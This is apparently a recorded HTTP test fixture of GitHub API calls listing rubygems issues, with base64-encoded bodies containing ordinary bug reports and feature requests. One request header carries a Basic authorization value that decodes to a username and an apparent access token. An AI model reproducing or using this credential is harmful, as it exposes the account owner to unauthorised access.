L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmFuZHljb3VsbWFuL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmFuZHljb3VsbWFuL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JhbmR5Y291bG1hbi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JhbmR5Y291bG1hbi9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmFuZHljb3VsbWFuL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjoxMTIyMzAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwYnVnJTIwcmVwb3J0IiwibmFtZSI6InR5cGU6IGJ1ZyByZXBvcnQiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjp7ImxvZ2luIjoiYnJvbnpkb2MiLCJpZCI6NDU5NTE3NCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNDU5NTE3ND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9icm9uemRvYyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2Mvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImFzc2lnbmVlcyI6W3sibG9naW4iOiJicm9uemRvYyIsImlkIjo0NTk1MTc0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMi5naXRodWJ1c2VyY29udGVudC5jb20vdS80NTk1MTc0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2Jyb256ZG9jIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2Mvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfV0sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjgsImNyZWF0ZWRfYXQiOiIyMDE2LTExLTI2VDIwOjI2OjU0WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTAxLTI1VDE0OjU4OjU0WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJJJ20gaGF2aW5nIGEgcHJvYmxlbS5cclxuXHJcbk15IGN1cnJlbnQgcHJvYmxlbSBpczogV2hlbiBJIGF0dGVtcHQgdG8gcHVzaCBhIHByaXZhdGUgZ2VtIHRvIGEgcHJpdmF0ZSBnZW0gc2VydmVyLCBJIGFtIHN0aWxsIHJlcXVpcmVkIHRvIHNwZWNpZnkgdGhlIGAtLWhvc3RgIGFyZ3VtZW50LCBldmVuIHRob3VnaCAjMTQ4NiBhdHRlbXB0cyB0byBkZWZhdWx0IHRoZSBob3N0IHRvIHRoZSBgYWxsb3dlZF9wdXNoX2hvc3RgIGNvbmZpZ3VyZWQgaW4gdGhlIGBnZW1zcGVjYC5cclxuXHJcbklmIEkgcnVuOlxyXG5cclxuYGBgXHJcbmdlbSBwdXNoIHBrZy9teS10ZXN0LWdlbS0wLjEuMC5nZW1cclxuYGBgXHJcblxyXG5JIHNlZTpcclxuXHJcbmBgYFxyXG5FbnRlciB5b3VyICBjcmVkZW50aWFscy5cclxuRG9uJ3QgaGF2ZSBhbiBhY2NvdW50IHlldD8gQ3JlYXRlIG9uZSBhdCAvc2lnbl91cFxyXG4gICBFbWFpbDogICBcclxuYGBgXHJcblxyXG5BY2NvcmRpbmcgdG8gIzE0ODYsIGl0IHNob3VsZCBkZWZhdWx0IHRvIHVzaW5nIG15IGNvbmZpZ3VyZWQgYGFsbG93ZWRfcHVzaF9ob3N0YCwgYnV0IGluc3RlYWQgaXMgcHJvbXB0aW5nIGZvciBteSBydWJ5Z2Vtcy5vcmcgY3JlZGVudGlhbHMuXHJcblxyXG5JIGJlbGlldmUgdGhhdCB0aGUgcm9vdCBjYXVzZSBvZiB0aGlzIGlzIHRoYXQgYXQgaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvMDc0OTcxNWU0YmQ5ZTdmMGZiNjMxYTM1MmRkYzY0OTU3NGRhOTFjMS9saWIvcnVieWdlbXMvY29tbWFuZHMvcHVzaF9jb21tYW5kLnJiI0w0NywgdGhlIGBwdXNoYCBjb21tYW5kIGlzIGNhbGxpbmcgYHNpZ25faW4gQGhvc3RgLCBidXQgYEBob3N0YCBpcyBgbmlsYCBhdCB0aGlzIHBvaW50LiAgSXQgaGFzbid0IHlldCBiZWVuIGRlZmF1bHRlZCB0byB0aGUgYGFsbG93ZWRfcHVzaF9ob3N0YC5cclxuXHJcblRoYXQgZGVmYXVsdGluZyBpc24ndCBkb25lIHVudGlsIGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iLzA3NDk3MTVlNGJkOWU3ZjBmYjYzMWEzNTJkZGM2NDk1NzRkYTkxYzEvbGliL3J1YnlnZW1zL2NvbW1hbmRzL3B1c2hfY29tbWFuZC5yYiNMNzYtTDg2IGluIHRoZSBgc2VuZF9nZW1gIG1ldGhvZCB0aGF0IGlzIGNhbGxlZCBqdXN0IGFmdGVyIHRoZSBgc2lnbl9pbmAgY2FsbC5cclxuXHJcbkEgcG9zc2libGUgZml4IHdvdWxkIGJlIHRvIG5vdCBtYWtlIHRoZSBgc2lnbl9pbmAgY2FsbCB1bnRpbCBhZnRlciB0aGUgZGVmYXVsdGluZyBpcyBkb25lLCBidXQgSSdtIG5vdCBzdXJlIGlmIHRoYXQgd291bGQgY2F1c2Ugb3RoZXIgaXNzdWVzLlxyXG5cclxuQWRkaXRpb25hbCBkZXRhaWxzOlxyXG5cclxuSW4gbXkgYG15LXRlc3QtZ2VtLmdlbXNwZWNgIGZpbGUsIEkgaGF2ZTpcclxuXHJcbmBgYFxyXG5zcGVjLm1ldGFkYXRhWydhbGxvd2VkX3B1c2hfaG9zdCddID0gXCJodHRwOi8vbXktZ2Vtc3Rhc2gtc2VydmVyOjkyOTIvcHJpdmF0ZVwiXHJcbmBgYFxyXG5cclxuSW4gbXkgYC5nZW1yY2AgZmlsZSwgSSBoYXZlOlxyXG5cclxuYGBgXHJcbjpkaXNhYmxlX2RlZmF1bHRfZ2VtX3NlcnZlcjogdHJ1ZVxyXG5gYGBcclxuXHJcbkFuZCwgaW4gbXkgYC5nZW0vY3JlZGVudGlhbHNgIGZpbGUsIEkgaGF2ZTpcclxuXHJcbmBgYFxyXG5odHRwOi8vbXktZ2Vtc3Rhc2gtc2VydmVyOjkyOTIvcHJpdmF0ZTogPG15IGdlbmVyYXRlZCBrZXk+XHJcbmBgYFxyXG5cclxuXHJcblxyXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XHJcblxyXG4gIC0gWyBdIE5ldHdvcmsgcHJvYmxlbXNcclxuICAtIFsgXSBJbnN0YWxsaW5nIGEgbGlicmFyeVxyXG4gIC0gWyBdIFB1Ymxpc2hpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbWF0gVGhlIGNvbW1hbmQgbGluZSBgZ2VtYFxyXG4gIC0gWyBdIE90aGVyXHJcblxyXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudmlyb25tZW50IGRldGFpbHM6XHJcblxyXG5gYGBcclxuJCBnZW0gZW52IHZlcnNpb25cclxuMi42LjhcclxuYGBgXHJcblxyXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3ODMiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTc4My9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTc4My9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzgzL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzgzIiwiaWQiOjE4OTY4NDI3NCwibnVtYmVyIjoxNzgzLCJ0aXRsZSI6IkVycm9yIG1lc3NhZ2UgZm9yIGFuIGludmFsaWQgcHJveHkgaXMgYSBiaXQgbWlzbGVhZGluZyIsInVzZXIiOnsibG9naW4iOiJwZXRlbXMiLCJpZCI6MTA2NDcxNSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTA2NDcxNT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZW1zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcGV0ZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGVtcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGVtcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGVtcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGVtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlbXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlbXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGVtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzkwMDYxNzQxLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jb250cmlidXRpb246JTIwc21hbGwiLCJuYW1lIjoiY29udHJpYnV0aW9uOiBzbWFsbCIsImNvbG9yIjoiREREREREIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoyLCJjcmVhdGVkX2F0IjoiMjAxNi0xMS0xNlQxMjowNToyN1oiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wOS0yNFQxNjoxOTo0OVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSSdtIHdvdWxkIGxpa2UgdG8gc3VnZ2VzdCBhIGZlYXR1cmUuXHJcblxyXG5NeSBjdXJyZW50IHByb2JsZW0gaXM6XHJcblxyXG5UaGUgZXJyb3IgbWVzc2FnZSBmb3IgYW4gaW5jb3JyZWN0IGh0dHAtcHJveHkgcGFyYW1ldHIgaXMgbWlzbGVhZGluZ1xyXG5cclxuYGBgXHJcbmdlbSBpbnN0YWxsIHJhaWxzIC1wPWZvby5iYXIuY29tXHJcbkVSUk9SOiAgV2hpbGUgZXhlY3V0aW5nIGdlbSAuLi4gKE9wdGlvblBhcnNlcjo6SW52YWxpZEFyZ3VtZW50KVxyXG4gICAgaW52YWxpZCBhcmd1bWVudDogLXA9Zm9vLmJhci5jb21cclxuYGBgXHJcblxyXG5JIHNwZW50IGEgd2hpbGUgdHJ5aW5nIHRvIGZpZ3VyZSBvdXQgaWYgSSBtaXNzcGVsdCB0aGUgcGFyYW1ldGVyIG9yIHNvbWV0aGluZywgYmVmb3JlIGV2ZW50dWFsbHkgcmVhbGlzaW5nIGl0IG5lZWRzIHRoZSBodHRwL2h0dHBzIGF0IHRoZSBzdGFydC5cclxuXHJcbkl0IHdvdWxkIGJlIG5pY2VyIGlmIGl0IGNvdWxkIHNwZWNpZnkgdGhhdCDwn5GNIFxyXG5cclxuVGhpcyBpc3N1ZSBpcyByZWxhdGVkIHRvOlxyXG5cclxuICAtIFsgXSBOZXR3b3JrIHByb2JsZW1zXHJcbiAgLSBbIF0gSW5zdGFsbGluZyBhIGxpYnJhcnlcclxuICAtIFsgXSBQdWJsaXNoaW5nIGEgbGlicmFyeVxyXG4gIC0gW1hdIFRoZSBjb21tYW5kIGxpbmUgYGdlbWBcclxuICAtIFsgXSBPdGhlclxyXG5cclxuSGVyZSBhcmUgbXkgY3VycmVudCBlbnZpcm9ubWVudCBkZXRhaWxzOlxyXG5cclxuYGBgXHJcbiQgZ2VtIGVudiB2ZXJzaW9uXHJcbjIuNi43XHJcbmBgYFxyXG5cclxuQnV0IEkgYXNzdW1lIGl0IGFmZmVjdHMgYWxsIGdlbSB2ZXJzaW9uc1xyXG5cclxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cclxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzgyIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3ODIvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3ODIvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTc4Mi9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTc4MiIsImlkIjoxODkxNDA3OTksIm51bWJlciI6MTc4MiwidGl0bGUiOiIwLjAuMC5wcmUyIGlzIDwgMCIsInVzZXIiOnsibG9naW4iOiJoeXBub3RvcnRvaXNlIiwiaWQiOjEzMDY4MjQsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzMDY4MjQ/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2h5cG5vdG9ydG9pc2UiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oeXBub3RvcnRvaXNlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHlwbm90b3J0b2lzZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oeXBub3RvcnRvaXNlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2h5cG5vdG9ydG9pc2UvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2h5cG5vdG9ydG9pc2Uvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oeXBub3RvcnRvaXNlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHlwbm90b3J0b2lzZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oeXBub3RvcnRvaXNlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHlwbm90b3J0b2lzZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHlwbm90b3J0b2lzZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbXSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjEwLCJjcmVhdGVkX2F0IjoiMjAxNi0xMS0xNFQxNToyNjozMVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wMS0xNFQwOTozNDo1NVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSSdtIGhhdmluZyBhIHByb2JsZW0uXHJcbk15IGN1cnJlbnQgcHJvYmxlbSBpcywgSSdtIHRyeWluZyB0byBpbnN0YWxsIHRoaXMgbmV3IGdlbSB3aGljaCB3YXMgdmVyc2lvbmVkIGFzIHByZS1yZWxlYXNlLCBzZXQgYXMgYDAuMC4wLnByZTFgLiBBbHRob3VnaCB0aGUgZ2VtIGlzIGluc3RhbGxlZCB1c2luZyB0aGUgYGdlbSBpbnN0YWxsIC0tcHJlYCBvcHRpb24sIEkgY2FuJ3Qgc2VlbSB0byBsb2FkIGl0LiBcclxuXHJcbkkndmUgdHJhY2tlZCB0aGlzIGlzc3VlIHRvIHRoZSBkZWZpbml0aW9uIG9mIHRoZSBzcGFjZXNoaXAgb3AgaW4gYEdlbTo6VmVyc2lvbmAsIHdoaWNoIGV4cGFuZHMgdGhlIHZlcnNpb24gaW50byBgWzAsMCwwLFwicHJlXCIsMl1gLCB0aGVyZWJ5IGNyZWF0aW5nIGFuIHVuZXhwZWN0ZWQgY29tcGFyZSBiZXR3ZWVuIFwicHJlXCIgYW5kIDAsIGFuZCBicmVha2luZyB3aGVuIEkgZG86XHJcblxyXG5gYGBydWJ5XHJcbmdlbSBcIm15Z2VtXCJcclxuYGBgXHJcblxyXG5JdCBhbHNvIGJyZWFrcyB3aGVuIEkgc3BlY2lmeSB0aGUgdmVyc2lvbjpcclxuXHJcbmBgYHJ1YnlcclxuZ2VtIFwibXlnZW1cIiwgXCI9MC4wLjAucHJlMlwiXHJcbkdlbTo6TG9hZEVycm9yOiBDb3VsZCBub3QgZmluZCAnbXlnZW0nICg9IDAuMC4wLnByZTIpIC0gZGlkIGZpbmQ6IFtteWdlbS0wLjAuMC5wcmUyXVxyXG5gYGBcclxuXHJcbkV2ZW4gaWYgYDAuMC4wLnByZWAgaXMgdW5hY2NlcHRhYmxlIGFuZCBJIHNob3VsZCBzdGFydCB3aXRoIGAwLjAuMWAsIGl0IHN0aWxsIHNlZW1zIG9kZCB0aGF0IGl0IGJyZWFrcyB3aGVuIEkgc3BlY2lmeSB0aGUgZXhhY3QgdmVyc2lvbiB0byBsb2FkLiAob2RkIGFzIGluIGEgYnVnIDo9KSApLlxyXG5cclxuVGhpcyBpc3N1ZSBpcyByZWxhdGVkIHRvOlxyXG5cclxuICAtIFsgXSBOZXR3b3JrIHByb2JsZW1zXHJcbiAgLSBbIF0gSW5zdGFsbGluZyBhIGxpYnJhcnlcclxuICAtIFsgXSBQdWJsaXNoaW5nIGEgbGlicmFyeVxyXG4gIC0gW3hdIFRoZSBjb21tYW5kIGxpbmUgYGdlbWBcclxuICAtIFsgXSBPdGhlclxyXG5cclxuXHJcbmBgYFxyXG4kIGdlbSBlbnYgdmVyc2lvblxyXG4yLjYuMlxyXG5gYGBcclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcbiJ9XQ== http_version: recorded_at: Sat, 06 Jan 2018 15:00:31 GMT - request: method: get uri: https://api.github.com/repositories/614070/issues?page=3&per_page=30 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:31 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4310' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bc58f3017667e4a39a540c4cbbda2a15" X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.273414' X-Github-Request-Id: - A3E0:4D95:F48DDD:1C8555E:5A50E48F body: encoding: ASCII-8BIT string: !binary |- W3sidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTc1NiIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzU2L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzU2L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3NTYvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3NTYiLCJpZCI6MTg0MzU5MTMxLCJudW1